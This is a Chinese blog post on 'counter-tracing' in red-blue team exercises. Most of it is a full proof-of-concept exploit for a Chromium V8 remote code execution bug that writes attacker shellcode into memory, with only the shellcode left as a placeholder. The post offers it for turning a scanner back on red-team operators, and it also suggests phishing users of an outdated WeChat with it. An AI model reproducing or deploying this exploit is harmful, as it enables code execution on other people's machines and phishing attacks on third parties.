首页 > 其他分享 >红蓝对抗-溯源反制(3)

红蓝对抗-溯源反制(3)

时间:2023-09-20 11:08:35浏览次数:29  
标签:function return addr buffer 反制 var 红蓝 page 溯源

AWVS的反制

awvs10 版本漏洞

https://www.exploit-db.com/exploits/39755

awvs 14以下的版本漏洞触发

2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第⼀个远程代码执行(RCE)的0Day漏洞

Chromium V8 JavaScript引擎远程代码执行

Chromium 版本的漏洞,可以构造然后执行shellcode  

poc(以下公开poc仅用于蓝队反制红队使用,github也有公开代码,勿用于其他攻击行为):  

替换shellcode 部分即可

ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [
  xxx
];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}
function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}
function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;
    this.page_buffer = null;
   this.page_view = null;
    this.prevent_opt = [];
    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;
    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
                     this.slot = this;
        }
    }
    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);
    new RegExp({ toString: function () { return 'a' } });
    cb(true);
    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );
                // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }
    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }
        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }
              return DerivedN;
    })`);
    gc();
      new (derived_n(tDerivedNDepth))();
    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }
    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, 
...this.prevent_opt);
    }
    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }
    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }
      this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}
function trigger() {
    var oob = oobAccess();
    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));
    var kCodeInsOffset = 0x1b;
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
      print('[*] code_addr at 0x' + code_addr.toString(16));
    oob.setBytes(code_addr, shellcode);
      target_function(0);
}
try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

4月wx 还没强制更新,内置的是存在问题的Chromium 内核版本,也还能用于wx 进行钓鱼利用,现在很多红队人员的渗透工具不⼀定更新的是最新版本的,那么这个漏洞运气好的话也还能钓部分红队人员。

红蓝对抗-溯源反制(3)_cs

标签:function,return,addr,buffer,反制,var,红蓝,page,溯源
From: https://blog.51cto.com/u_14156098/7534765

相关文章

  • ms08067 红蓝对抗课程合集
    本次的课程主题为:红队攻击之多级隧道红蓝对抗之快速打点windows操作系统中的二进制漏洞分析供应链攻击密码学常见算法以及在红队攻击当中的应用反溯源/为何莫名其妙就上线课程地址:https://www.bilibili.com/video/BV1vh4y1V7Zw添加客服二维码 回复关键词“红蓝对抗实战......
  • 不增加成本能更好应对生产系统稳定性意外故障的“开发测试运维三岗转为系统红蓝军”实
    系统红蓝军,不仅可以引导开发人员做好功能自测,更可以在不增加成本的情况下,引导企业有效应对生产系统稳定性***意外***故障。1基于观察企业经常出现意料之外的软件系统生产环境稳定性故障。2问出问题是什么原因导致企业经常出现意料之外的软件系统生产环境稳定性故障?3形成可......
  • 在不增加成本的情况下引导开发人员做好功能自测的“开发与测试岗位更名为系统红蓝军”
    作为企业IT部门某个开发团队负责人的你,从书上和大佬那里得知,软件开发团队中的开发人员,如果在将所完成的功能提交给测试人员之前,加强自测,那么就能降低软件开发过程中的返工。于是你为每位开发人员,都准备了自测环境。然后告诉开发人员,在完成功能的开发,向测试人员提测前,需要在自测环......
  • U8红蓝回冲单打印模版设置
    U8红蓝回冲单打印模版取自采购入库单模版加了红字或者蓝字回冲字样1.首先我们进入红蓝回冲单列表: 2.点开列表中对应回冲单在打印时右上角选择模版,该模版默认为采购入库单模版,为区别于采购入库单,我们可在单据设置,单据模版中找到采购入库单模版另存一份标识为红蓝回冲单打印 ......
  • 基于物联网、区块链、RSA加密验证技术实现的防伪溯源系统源码
    一物一码防伪溯源系统能准确获取产品生产经营各个环节的真实信息,利用物联网、云计算、区块链、人工智能、5G等先进技术,结合特有的码码关联和RSA加密验证技术,建立区块链的“身份证”,针对产品种植到销售各环节的质量安全数据进行及时采集上传,数据具有不可逆,不可篡改等特点,实现产品溯......
  • 全球溯源中心系列成果发布,巨杉数据库积极参与溯源产业应用生态
    巨杉数据库作为溯源+数据库技术应用企业,凭借多年深耕文档型分布式数据库的技术积累和创新能力,受邀参与全球溯源中心标准系列成果发布及溯源产业应用启动仪式。6月19日,“链接世界预鉴未来”——全球溯源中心系列成果发布活动在广州南沙成功举办。巨杉数据库作为溯源+数据库技术应......
  • Sysmon 使用查询进程名称获取 DNS 查询日志==》看来早些版本是不支持溯源的!
    浏览器打开的域名: ss的请求:   svchost出去的也有:    系统更新,也是svchost发出去的:   ping的:    nslookup的,看不到:GG!!!    这是一个简单的“pinggoogle.com”命令,导致事件22记录在SysmonWindows事件日志中:它可以监视几乎任何支持网络的Windows客户端软件......
  • QR防伪溯源系统追溯原理是什么?
    本文分享自天翼云开发者社区《QR防伪溯源系统追溯原理是什么?》,作者:SD万QR防伪溯源系统是一种基于QR技术的防伪技术,通过为每件产品生成唯一的QR标签,并将其与产品信息、生产信息、物流信息等进行关联,实现产品的全程追溯。本文将从追溯原理、系统构成、应用场景等方面对QR防伪溯源......
  • L2-2 病毒溯源-Java
    题目L2-2病毒溯源病毒容易发生变异。某种病毒可以通过突变产生若干变异的毒株,而这些变异的病毒又可能被诱发突变产生第二代变异,如此继续不断变化。现给定一些病毒之间的变异关系,要求你找出其中最长的一条变异链。在此假设给出的变异都是由突变引起的,不考虑复杂的基因重组变......
  • L2 - 2 病毒溯源
    代码#include<iostream>#include<vector>#include<algorithm>usingnamespacestd;constintN=10010;vector<int>v[N];boolisroot[N];vector<int>path;vector<int>temppath;intans=0;voiddfs(introot,intlen){......